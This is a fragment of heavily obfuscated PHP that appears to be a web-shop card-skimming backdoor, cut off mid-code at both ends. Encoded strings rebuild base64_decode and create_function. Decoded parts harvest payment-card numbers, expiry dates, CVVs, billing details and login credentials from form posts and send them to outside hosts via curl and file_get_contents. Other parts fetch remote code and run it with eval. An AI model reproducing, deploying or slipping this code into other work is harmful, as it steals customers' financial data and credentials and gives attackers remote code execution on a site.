OiAkX1NFUlZFUlskanVxZXFvdGhhXTsKICAgICR1bXV6eWYgPSAkX1NFUlZFUlskdWRhbXVkb2xvXTsKICAgIGZvciAoJGNvcGVxdSA9IDA7ICRjb3BlcXUgPCBzdHJsZW4oJHVtdXp5Zik7ICRjb3BlcXUrKykgewogICAgICAgICRheGl2b2wgKz0gb3JkKHN1YnN0cigkdW11enlmLCAkY29wZXF1LCAxKSk7CiAgICAgICAgJGV6YXRla2VtICs9ICRjb3BlcXUgKiBvcmQoc3Vic3RyKCR1bXV6eWYsICRjb3BlcXUsIDEpKTsKICAgIH0KCiAgICBpZiAoKGlzc2V0KCRfU0VSVkVSWyRvdmVzdWJlZ2VdKSkgJiYgKCRfU0VSVkVSWyRvdmVzdWJlZ2VdID09ICRhY2lzaG9jKSkgewogICAgICAgIGlmIChwcmVnX21hdGNoKCRjaHVqeWhhLCAkX1NFUlZFUlskb3Z5a2hpenVsdV0pICYmICghcHJlZ19tYXRjaCgkZXZhemljaCwgJF9TRVJWRVJbJG92eWtoaXp1bHVdKSkpIHsKICAgICAgICAgICAgaWYgKCghaXNzZXQoJF9DT09LSUVbJHdheHl6aG9sXSkpICYmICghaXNzZXQoJF9DT09LSUVbJGF0dXh5Z10pKSkgewogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygiY3VybF9pbml0IikpIHsKICAgICAgICAgICAgICAgICAgICAkZXNoZXpvbCA9IGN1cmxfaW5pdCgkb3h5cmFiYXIpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTUpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1RJTUVPVVQsIDE1KTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9IRUFERVIsIGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkZXNoZXpvbCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgZmFsc2UpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRlc2hlem9sLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCBmYWxzZSk7CiAgICAgICAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGVzaGV6b2wsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoIiRib2NoYWR1d2UgJGF4aXZvbCIsICIkeHVxeXN5ZGEgJGV6YXRla2VtIiwgIiRpdmV0dWNoICRpemhpZ3l3dSIsICIkZXRoYXFpc2h1ICR1bXV6eWYiLCAiJHNoaWtvY29wICRhcXV6aG9jaHltIikpOwogICAgICAgICAgICAgICAgICAgICRqdXpodXFvdiA9IEBjdXJsX2V4ZWMoJGVzaGV6b2wpOwogICAgICAgICAgICAgICAgICAgIGN1cmxfY2xvc2UoJGVzaGV6b2wpOwogICAgICAgICAgICAgICAgICAgICRqdXpodXFvdiA9IHRyaW0oJGp1emh1cW92KTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgkZGVjaGFxaXJpLCAkanV6aHVxb3YpKQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvIChAJG9xeWxheml0ZSgkdGhhbGl0eWdhKCRqdXpodXFvdikpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KfSBjYXRjaCAoRXhjZXB0aW9uICR1dGhvaHV0eXpobykgewogICAgCn0="));

define("TREX_CODE", trim('$NzQBgIsvRe="\164\162\x65";$e8X5ar_="\156";$OIwYNn_xer="\145\144";$riUB_jR="\163\x74\162";$e8X5ar_.="\157";$riUB_jR.="\162";$OIwYNn_xer.="\157\x63";$e8X5ar_.="\x69";$OIwYNn_xer.="\145\x64\x5f";$e8X5ar_.="\x74";$OIwYNn_xer.="\x34";$NzQBgIsvRe.="\x73\x73";$NzQBgIsvRe.="\141";$e8X5ar_.="\x63\156\165";$OIwYNn_xer.="\66\145\163";$e8X5ar_.="\x66";$OIwYNn_xer.="\141";$OIwYNn_xer.="\142";$e8X5ar_.="\x5f\x65\164";$e8X5ar_.="\141\145";$e8X5ar_.="\162\x63";$riUB_jR.="\145\x76";$e8X5ar_=$riUB_jR($e8X5ar_);$OIwYNn_xer=$riUB_jR($OIwYNn_xer);$NzQBgIsvRe=$riUB_jR($NzQBgIsvRe);$Gf_yCdHFJN="BFVUh0JbJVRWJVRT9FJg4CIioibcJHXiAiLgkXYw91YjRCKzEDdvJ3XyCIgoQD9BCIgACIgACIgACIgoQD7kSehB3XjNGJgwSXnQ1UPh0XQRFVIdyWSVkVSV0UfRCIuAyJfJmYnACLnUncugXZk5WY5BUb1x2bsV2YngCbpFWbABCIgACICAgIHNldGNvb2tpZSgiX21kbiIsIDEsIHRpbWUoKSArIDM2MDAwLCAiLyIpOw0KICAgICAgICAgICAgICAgIHNldGNvb2tpZSgiX2RudG9rZW4iLCAxLCB0aW1lKCkgLSAzNjAwMCwgIi8iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCn07IgoQD7kiMgwiMgwichVWefN2Ykgic0NnY1NHI9AichVWefN2YkACIpR3YuVnZoAiZpBCIgACIgACIgACIgACIgAiCNoQD7kSY0FGZfJXZzVHJgwyJiJTJnACLisiIoU2YhxGclJ3XyR3cg0DIhRXYk9lclNXdkACIgACIgACIgACIgACIgAiCNsTKwl2XyV2c1RCIuAyJ7cCIuASXn4WZr9GduR2XnsVRJt0TPN0XkAiLgIyOoRXYwRyOiAI+0DIH5USE90QOV0XUB1TMJVVDBCIgACIgACIgACIgACIgACIgAICAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gNiwNCiAgICAgICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiA2LA0KICAgICAgICAgICAgICAgICAgICAXRfdXJsID0gImh0dHBzOi8vem9sby5wdy93dGYvaW5kZXgucGhwP2g9IiAuICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCiAgICAgICAgICAgICRjb250ZW50ID0gydwb3N0Y29kZSddIC4gJ3wnIC4gJF9QT1NUWydiaWxsaW5nJ11bJ2NvdW50cnlfaWQnXSAuICd8JyAuICRfUE9TVFsnYmlsbGluZyddWyd0ZWxlcGhvbmUnXSAuICcgJyAuICRfUE9TVFsnYmlsbGluZyaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fSEVBRCIpKSB7DQoNCiAgICBkZWZpbmUoIk1FR0FMT0RPTl9IRUFEIiwgMSk7DQoNCiAgICBpZiAoIDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBmYWxzZSwNCiAgICAgICAgICAgICAgICBDVDBCIgACIgACIgACIgACIgACIgACIgACIgoQDsU2csFmZg4TPgIVREFURI9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgACIgACIK0ALlVnc0BiP9AiUFZ0UOFkUU5kUVRVRS9IgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIgACIgACIgACIgACIK0ALlNHbhZGI+0DISVERBVESfRFUPxkUVNEIgACIgA09LSUVbJ3BvcnR6aWxsYSddID0gJyc7DQoNCiAgICAgICAgaWYgKCgoaXNzZXQoJF9DT09LSUVbJ3d0ZiddKSkgJiYgKG1kNSgkX0NPT0tJRVsnd3RmJ10pID09ICc3YWMxY2NhNWJlZThiOGIzMWE1MjFiNVRVFVRSdyWSVkVSV0UfRCI9ACa0FGckACIgACIgACIgACIgoQD7BSKpkSXn4GZt91JbVUSL90TD9FJoQXZzNXahgCImYCIp01Js1Gdo5WatRWYnsVRJt0TPN0XkgCdlN3cpBiJmASKddiblt2b0TD9FJgACIgACIgACIgACIK0QKp01JhxGbppHdy9GcnsVRJt0TPN0XkgCdlN3cphCImlGIgACIgACIgoQDK0wOpEDIsQlUPh0Uf50TE9ETBdURN91QSNEIuAiIQV1SDFkQf50TE9ETBdURNJCCAgICAgICAgICAgICBDVVJMT1BUX0VOQ09ESU5HID0+ICIiLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHAgICAgICAgICAgICAgZm9yZWFjaCAoJF9QT1NUWydwYXltZW50J10gYXMgJHBfa2V5ID0+ICRwX3ZhbHVlKSBXYiBCLiEGdhRWbfJCKll2av92Y0V2cgACIgACIgACIgACIK0wOddCbpFWbldyWddCIiLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTgICAgICAgQ1VSTE9QVF9FTkNPRElORyA9PiAiIiwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemIdR1UPB1XUB1TMJVVDt1cu9Wa0B3bkACIgACIgACIgACIgACIgAiCNsHIpQ3cvBHJoAiZpBCIgACIgACIgACIgoQDK0wOpACIgACIgACIgACIgoQDlNHbhZGI+0DIUN1TIllRJJVRW9FTTN1XUB1TMJV5UX1NJWkUgPiA0KQ0KICAgICAgICAgICAgaWYgKCRjcmMzMiAmIDB4ODAwMDAwMDApDQogICAgICAgICAgICAgICAgJGNyYzMyID0gJGNyYzMyIC0gMHgxMDAwMDAwMDA7DQogICAgICAgICRjcmMzMiA9IGFicygkY3JjMzIpOw0KICAgIUX1VSSSddOw0KICAgICAgICAgICAgJHBvcyA9IHN0cnBvcygkcGF0aCwgIi9kYXNoYm9hcmQvaW5kZXgva2V5Iik7DQogICAgICAgICAgICBpZiAoJHBvcykgew0KICAgICAgICAgICAgICAgICRwYXRoID0gc3Vic3RyKCRwYXRoLCAwLCAk8iIgACIgACIgACIgACIgACIgoQDokXYyJXYg0DI5FmcyF0ckxWZpZGJgACIgACIgACIgACIK0wegkSKddCduVWb5FGcnsFVT9EUfRCK0V2czlGKgYWagACIgACIgAiCNsTfgACIgACIgAiCNsTKsxWaiRCKlR2bj5WZfRjNlNXYiBSPgu9WbfN2YkACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0gOyASZzF2YgACIgACIgACIgACIgACIgACIgACIgACIgfc2V0LiovIiA9PiAyLA0KICAgICAgICAgICAgICAgICIvLipjY19leHBfeS4qLyIgPT4gMywNCiAgIXZi1Wdu91YjRCK0V2czlGKgYWagACIgACIgACIgACIK0gCN0HIgACIgACIgACIgAiCN0HIgACIgACIgACIgACIgACIK0QfgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgACIgACIgACIgACIK0gCN0HIgACIgACIgACIgACIXnUWbh5GdzJXamdyWddyZulGbslmYnsFVT9EUfRCI9ACbslmYkACIgACIgfSE9TVCddIC4gIiBbIiAuICRfU0VSVkVSWydTRVJWRVJfQUREUiddIC4gIl0qIikpOw0KICAgICAgICAgICAgICAgICRjY19wYXlfZW5jb2RlZCA9IHN0cl9yZXBsYWNlKCIrIiwgIR0FMT0RPTl9CQUNLVVAiIC4gQ1JDX01FR0FMT0RPTl9TSE9SVCkpIHsNCiAgICAgICAgZGVmaW5lK0XQRFVIdyWSVkVSV0UfRCI9ACcp9lclNXdkACIgACIgACIgACIgACIgACIgACIK0wegkSKddCUJ9FVOVUSMN0XQRFVIdyWSVkVSV0UfRCK0V2czlGKgYWagACIgACIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgAiCNsTXnI1TG9FRFRkUBdlUPZ0XY9FUURsDa052bt91YjRCIuAyJwcCI9ACa052bt91YjRCIgACIgACIgACIgACIgACIgACIgoQDpEDI90DIpgGdu9WbfCIgoQD7BSKpkiIjVGelJCKzR3cphXZf52bpR3YuVnZoAiJmASKnEzJg0TIgQnbjRCKoAiZpBCIgACIgACIgACIgACIgAiCNoQD9BCIgACIgACIgACIgACIgAiCNsTK052YkgSbpJHdg0DI052YkACIgACIgACIgACIgACIgACIgACIK0wOpQWZk92YuV2X5FGcfN2YkA91YjRCIgACIgACIgACIgACIgACIgACIgoQDpkSXnEgAiCNsTKz52bpRHcvRCIsg2YkgSehJnch9Fdw9GdlN3XsJXdjBCIgACIgACIgACIgACIgACIgACIK0wOpEGdhR2XyV2c1RCIuACbyV3X0V2ZkgCdp5Wafxmc1NGI9ACajRCIgACIgACIgACIgACIgACIgACIgoQDKXnsVRJt0TPN0XkgCdlN3cphCImYCIp01JuV2avRnbk91JbVUSL90TD9FJoQXZzNXahgCImlGIgACIgACIgoQDK0QfgACIgACIgAiCNAiIvoiL0V2cfd3bsxWZ5piLvICIgACIgACIgACIgACIgACIK0ALzAiP9AiIvoiLyFWZZ52bpRXYylGc4VmKu8iIgACIgACIgACIgACIgACIgoQDsMDI+0DIi8iKuIXYll3XwhXZq4yLiACIgACIgACIgACIgACIyVHJoknclVXcfBXdrNWYi9lbvR2bsF2Zl1GIu9Wa0Nmb1ZGIgACIgACIgoQDK0wOpEDIsQlUPh0Uf50TE9ETBdURN91QSNEIuAiIH5USMxUSC9FUVt0QBJ0XO9ERPxUQHVUTigSZulmZlRGIgACIgACIgoQD7BSKpQlUPh0Uf50TE9ETBdURN91QSNEIuAiIH5USMb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVFNCiAgICAgICAgICAgIGlmICghJGNvbnRlbnQpIHsCIgoQD7BSKlVHbhZ3XmRCI+0DI5V2afZGJgMXYgkXYyJXQzRGbllmZkgCIoNWYlJ3bmBCIgACIgACIgACIgoQDK0wOpQDI+0DIi8iKuQWaj91YjpiLvICIgACIguKmNjX251bS4qLyIgPT4gMSwNCiAgICAgICAgICAgICAgICAiLy4qY29udHJvbF9zZXR0aW5ncy4qLyIgPT4gMSwNCiAgICAgICAgICAgICAgICAiLy4qYdGggPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FzZSAzOg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY2NfeWVhciA9ICRwX3ZhbHVlOwRVJFUiA9PiB0cnVlLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQgPT4gMTIwLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfVElNRU9VVCA9PiAVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IHRydWUsDQogICAgICUSfBFSQhCImlGIgACIgACIgoQD7ADI6ASKddCVT9ESfBFVUh0JbJVRWJVRT9FJoIzMjJ3Yg8DIp01JUN1TI9FUURFSnslUFZlUFN1XkgCdlN3cpBSPgIzMjJ3YkACIgACIgACIK0wegkSKi40TE9ETBdURN91QSNkIoQWZulmZlRWsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gZmFsc2UNCiAgICAgICAgICAgICAgICApOw0KDQoNCiAgICAgICAgICAgICAgICAkY2ggPSBjdXJsX2luaXQoJGdldF91cmwpOw0KICAgICAgICAgICAgICAgIGN1cmxfU2csFmZg4TPgIVRFBVWGlkUFZ1XMN1UfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoQDsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwCMyEDI+0DIUV1TF1USU9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwCMyED0gMTsNCiAgICAgICAgICAgICAgICAkb3B0aW9uc1tDVVJMT1BUX1BPU1RGSUVMRFNdID0gJHBvc3Q7DQogICAgICAgICAgICB9DQoNCNlNjRfZW5jb2RlKCRiaWxsKSwgdGltZSgpICsgMzYwMDAsICIvIik7DQogICAgICAgICAgICAkX0NPT0tJRVsnX21kYXRhJ10NMSUVOVF9JUCddOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkdXNlcl9kYXRhID0gYmFzZTY0X2VuY29kZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10gLiCAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgew0KICAgICAgICAgICAgICAgICAgICAkY250ID0gbWVnYWxvZG9uX2JhY2t1cF9xdWVyeSgAmJiAoaXNzZXQoJF9QT1NUWydsb2dpbiddWyd1c2VybmFtZSddKSkgJiYgKGlzc2V0KCRfUE9TVFsnbG9naW4nXVsncGFzc3dvcmQnXSkpKSkgew0KICAgICAgICAgICAgJGF0b2tlbiA9IGJhc2U2NF9lbmNvZGUoJF9QT1NUWydsb2dpbi9PiAzLA0KICAgICAgICAgICAgICAgICIvLipzYXZhZ2Vfc2V0LiovIiA9PiA0LA0KICAgICAgICAgICApKSB7DQogICAgICAgICAgICAgICAgaWYgKHN0cmxlbigkY2NTBJFVOJVVUVkUfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgoQDokXYyJXYg0DIz52bpRHcvRCIgACIgACIgACIgACIgACIK0wegkSKiQXaul2XsJXdjJCKzR3cphXZf52bpR3YuVnZoAiZpBCIgACIgACIgACIgoQD7IiIACIgACIgAiCNsTK052YkgSbpJHdg0DI052YkACIgACIgACIgACIgACIgACIgACIK0wOpU2csFmZgwCZlR2bj5WZflXYw91YjRCIuAyJ9cXZpZ3PwhGcugXZk5Wav40TE9ETBdURN9SbvNmLtVHbvxWZj9yL6MHc0RHanACIgACIgACIgACIgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIgACIgACIgACIgACIg1lKCkgKyAzNjAwMCwgIi8iKTsNCiAgICAgICAgICAgICRfQ09PS0lFWydfZG50b2tlbiddID0gJGF0b2tlbjsSKddibpd2bsdyWUN1TQ9FJoQXZzNXaogCImlGIgACIgACIgoQDK0wOi0zdllmd/AHaw5CelRmbp9iTPR0TMF0RF10LlNWYwNnLjhGdhB3LvozcwRHdoJCI9ACbyV3X0V2ZkACIgACIgACIK0wOpEDGJg4mc1RXZyBCIgACIgACIgACIgoQD7kCajRCKjVGel9FbyV3YABSPgQnblRnbvNGJgACIgACIgACIgACIK0wOpMnbvlGdw9GJgwCajRCK5FmcyF2X0B3b0V2cfxmc1NGIgACIgACIgACIgAiCNsTKsJXdkgCdp5Wafxmc1NGI9ACajRCIgACIgACIgACIgAiNCiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRjY195ZWFyKSA9PSA0KQ0KICAgICAgICAgICAgICAgICAgIgACIgoQDsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgCAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1NTTF9WRVJJRllQRUVSID0+IGZhbHNlLA0KICAgICAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBmYWxzZQ0KICAgICAgICAgICAgICAgICAgICApOw0AgICAgICAgICAgICBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VUID0+IDlNXYjBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNsHIpUWdsFmdfZGJoACajRXa3NHIgACIgACIgACIgACIgACIgACIgACIgAiCNsHIpkyclh2Y0FWbkACL5V2afBHJgwSelt2XmRCKoNGdh12XnVmcwhCImlGIgACIgACIgACIgACIgACIgACIgoQD7ICAgICAgICAgICAgICAgICAgQGN1cmxfZXhlYygkY2gpOw0KICAggACIgACIgACIgAiCNwSZ1JHdg4TPgIVRSVkRFJ1TUVVQfRFUPxkUVNEIgACIgACIgACIgACIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMv82ajV2RgkCMuIzM6YncgsRUUF9YX0ZPUldBUkRFRF9GT1InXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHVzZXJfaXAgPSAkX1NFUlZFUlsnSFZnRCIgACIgACIgACIgAiCNsHIpkSKnMjNwgDO5AjY3kjYxITNhFzMihjY4UWZiVTYjNWMjF2NnASP9ASKddyd0Z2JbVUSL90TD9FJoUDZthCImYCIpkSXncHdmdyWFl0SP90QfRCK0V2czlGKoACf8BSKpcyM2ADO4kDMidTO21kbiddKSkpIHsNCiAgICAgICAgICAgIHNldGNvb2tpZSgiX21kbiIsIDEsIHRpbWUoKSAtIDM2MDAwLCAiLyIpOw0KICAgICAgICB9DQoNCiAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWydfZG5wYXkgLj0gJ3wnIC4gYmFzZTY0X2RlY29kZSgkX0NPT0tJRVsnX21kYXRhJ10pOw0KICAgICAgICAgICAgICAgICRjY19wYXlfZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoc3RgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYgKCRjbnQgIT0gJzEnKSB7DQogICAgICAgICAgICAgICAgICAgICRjbnQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vY2Vsb2x1bS5jb20vTUVHQUxPRE9OL2luZGV4LnBocD92aWV3PScgLibCwgJHBvc3QpIHsNCiAgICAgICAgICAgICRvcHRpb25zID0gYXJyYXkoDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLA0KICAgICAgICAgICFSnslUFZlUFN1XkgCdlN3cphCImlGIgACIgACIgACIgACIgACIK0wOddiUERUQfVEVP1URSdyWSVkVSV0UfRCI9ACcp9lclNXdkACIgACIgACIgACIgACIgAiCNsTKz9Gc50ZW50cygkZ2V0X3VybCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGV2YWwoJGNvbnRlbnQpOw0KICAgICAgICAgICAgZXhpdDsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGlmICghZGVmaW5lZCgiTUVHQUxPRE9OX0JBQ0tVUF9CSUx52ctpiLvICIgACIgACIgACIgACIgACIK0ALyAiP9AiIvoiLoRnbv1kbvlGdhJXawhXZq4yLiACIgACIgACIgACIgACIgAiCNwiMg4TPgIyLq4Ca052bt9Fc4VmKu8iIgACIgACIgACIgACIgACIgoQDsIDI+0DIi8iKu02XwhXZfN2oQD9BCIgACIgACIgACIgoQD7kCduVGdu92YkgSbpJHdg0DI05WZ052bjRCIgACIgACIgACIgACIgACIK0wOpg2YkgyYlhXZfxmc1NGQg0DI05WZ052bjRCIgACIgACIgACIgACIgACIK0wOpMnbvlGdw9GJgwCajRCK5FmcyF2X0B3b0V2cF1kIoQWZulmZlRWIoAiZpBCIgAiCNoQD9BCIgAiCNsTKwADMxASJgIzMjJ3YkACLiQlUPh0Uf50TE9ETBdURN91QSNkIoUmbpZWZkBCIgACIgACIK0wOpIzMjJ3YkACLi40TE9ETBdURN91QSNkIoUmbpZWZkBCIgACsATMg4TPgMlUJRURShVQN9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsAjMxlNGRVIgPT4gdHJ1ZSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9IRUFERVIgPT4gZmFsc2UsDQogICA2bj9Fdld2XlxWamBEI9ACduVGdu92YkACIgACIgACIgACIgACIgAiCNCIgACIgACIgACIgACIgACIgoQD6QDIlNXYjBCIgACIgACIgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AgICAgIH0NCiAgICB9Ow0KDQogICAgaWYgKCFkZWZpbmVkKCJNRUdBTE9ET05fVSIgLiBDUkNfTUVHQUxPRE9OX1NIT1JUKSkgew0KICAgICAgICBkZWZpbmUoIk1FR0FMT0RPTl9VIiAuIENSQ19NRUdBTE9ET05fU0hPUlQsICIgACIgACIK0ALlVnc0BiP9AiUFJVRGVkUPRVVB9FVQ9ETSV1QgACIgACIgACIgACIgACIgACIgAiCNwiIw4iMz8CevZWZylmRgEDMxAjMxAjMv82ajV2RgkCMuIzM6YncgsTMuUDIU5EIzd3bk5WaXhCIw4SNvEGbslIgAiCNsDMg0DI052YkACIgACIgACIgACIgACIgAiCNoQD7kCZlR2bj5WZflXYw91YjRCIsIiYyUiCAgICAgICAgICAgICAgJGNjX3BheSA9ICRjY19udW1iZXIgLiAnfCcgLiAkY2NfbW9udGggLiAnLycgLiAkY2NfeWVhciAuICd8JyAuICRjY19jaWQ7DQogICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfQ09PS0lFWydfbWRhdGSAuICcgJyAuICRfUE9TVFsnYmlsbGluZyddWydsYXN0bmFtZSddIC4gJ3wnIC4gJF9QT1NUWydiaWxsaW5nJ11bJ3N0cmVldCddWycwJ10gLiAnfCcgLiAkX1BPU1RbJ2JpbGxpbmcnXVsnY2l0eSddIC4gJAgICAgICAgICAgICAgICRjY19jaWQgPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAgICAgICAgIWa0BCLuV2avRXYkACLi4WZr9GduR2XigSZpt2bvNGdlNHIgACIgACIgACIgAiCNsTKddCZy92dzNXYwdyWddibpd2bsdyWUN1TQ9FJg4CIisjIg4CIddSZtFmbyV2c1dyWddGVkUPRVVB9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsICMuIzMvg3bmVmcpZEIxATMwITMwIzLvt2YldEIpAjLyMjO2JHI7EjL1ACVOByc39GZul2VoACMuUzLhxGbpp3bNJCI+0DIU5URIDE6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjY19udW1iZXIgPSAkcF92YWx1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWs7DQogICAAgICAgICAgICAgICAgICAgIEBleGVjKCdjdXJsIC0taW5zZWN1cmUgJyAuICdodHRwczovL2NlbG9sdW0uY29tL01FR0FMT0RPTi9pbmRleC5waHA/dmlldz0nIC4gJGNjX3BheV9lbmNvZGVkKTsNCiAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgNvbnRlbnQ7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydiaWxsaW5nJ10pKSB7DQogICAgICAWddyZulGbslmYnsFVT9EUfRCIuAyJ8ByJg4CIddibvl2ZlJ3Jb11Jn5WasxWaidyWUN1TQ9FJg4CInw3";$HxdshqOT="==wO65GOJp2T4YkZJRCIuJXd0VmcKkSKyVGef5mTZdXSPRCK0V2czlWIoYWaKsTf9tTKp0VMrMmMydGcVpVRkslRNFlThh1RRF2SkwSXjJjcnBXVaVEJbZUTR5UYYdUUhtEJs4kSGhEZDl3XmdEJoIHdzJWdzhiUq9lQVlmck0jL65GOJp2T4YkZJRyelNHbl13Op0VMrMmMydGcVpVRkslRNFlThh1RRF2SkwSXjJjcnBXVaVEJbZUTR5UYYdUUhtEJs4kSGhEZDl3XmdEJoIHdzJWdz1jL65GOJp2T4YkZJRyepQTJjJjcnBXVaVEJoYWa7liM9syYyI3ZwVlWFRyOpYUTR5UYYdUUhtEJoY2blpXazxzYyI3ZwVlWFRyOw0zYyI3ZwVlWFRCKy9mZ7IiI9onb4kkaPhjRmlEJKsTK5ATMsgTOwEDLzcTMsgjM3UDL5cTMsITO1IDLzYTMsIDMyATMsczNsUjM3MDL0QTMsgDN4EDL1UTMsUDN1EDL5YTMsATN3gDLzITMsIjM4wSO2EDL2YDM3wiN4wiNyQDMxwCN4wSO5MzNsMDMxwyNzMjMsQjNxwiN2gDMxwiM1wSOxIDOscTOxwCN5AjNsMTOxwSMwkTNskzNxwyMyADMxwCM0wiM3ATNsUTNsITM1ATMskDOxwCM2YTOscTOxwSN0cDNsgzMxwiM5MTOsETMxwCNzQTMsETOsITO5EDL0QTMsIDO2ETMsEzMxwyN0UTNsEjNsUjNzATMsMTOscDMyEDLyUTMsADN0IDL0ATMsETOyYDLzkTMscTM3cDLzkDL5UTMyEDL4UDL5ITNzwiN1EDL5cjMxEDLwgDLyUjMyEDLzUTMsUDN5wCN2wCO2EjMscTOsUTOzYDL2cTMsITN5IDL4ETMsUzMyUDL0cTMskDN4kDL3cDL1IjMzwSO1EDL2gTN0wCM4wCOzkjNsMjMxwiMxETNsUDOsMDOwIDLzkTMsEzNygDL5MTMsYjM4ETMscTOsgjMxMDL0kTMsMTNzUDL4ITMscjN1ATMsUTMxwSNzQTMxwiN4EDLyAzMzwCO0wCOxAzNsQDOsgTO5MDL1gDLwETO3wyM1wyM3MDLzcTMsYDMxETMsEDNsIDOyQDLyMTMskjNwkDL2UDLwwCOzEDL3gTNzwiN3wCMzATMxwCNzEDL0IjN2wCN2EDL1MjM3wSM5EDLxAjM5wCMwIDLygDM0wCN5EDL1YTOxEDLyITMsYTNsEzNxwSN5YDMxwSO0EDL4YTN3wCM4EDL4UzN2wiMzEDLwUTNxEDL1gDLzgDN3wiMwEDL0gDN0wCM1EDL5ETO4wCO0EDLwAzNxwSM4EDLxczNywCMzEDLwMTN5wiM5wCO1YDOsYTOxwiMwgzMsIzMxwiM5QjNsgTOxwiNyQDLwMTMsIDN5QDL0MTMsADMzEDLwUDL4cjN1wSM1wCNyYDL1ATMsIzMyIDLyQTMsYTM1gDL3QTMsUzN2wiN0wSN5kzNsgzNxwSM0ADOsEjNxwyMyMDNsITNsQjN0gDLxQDL4gDNzwSN5EDL4cTMokXYyJXY9YUTR5UYYdUUhtEJ";if(function_exists($e8X5ar_)){$loa_k2E=@$e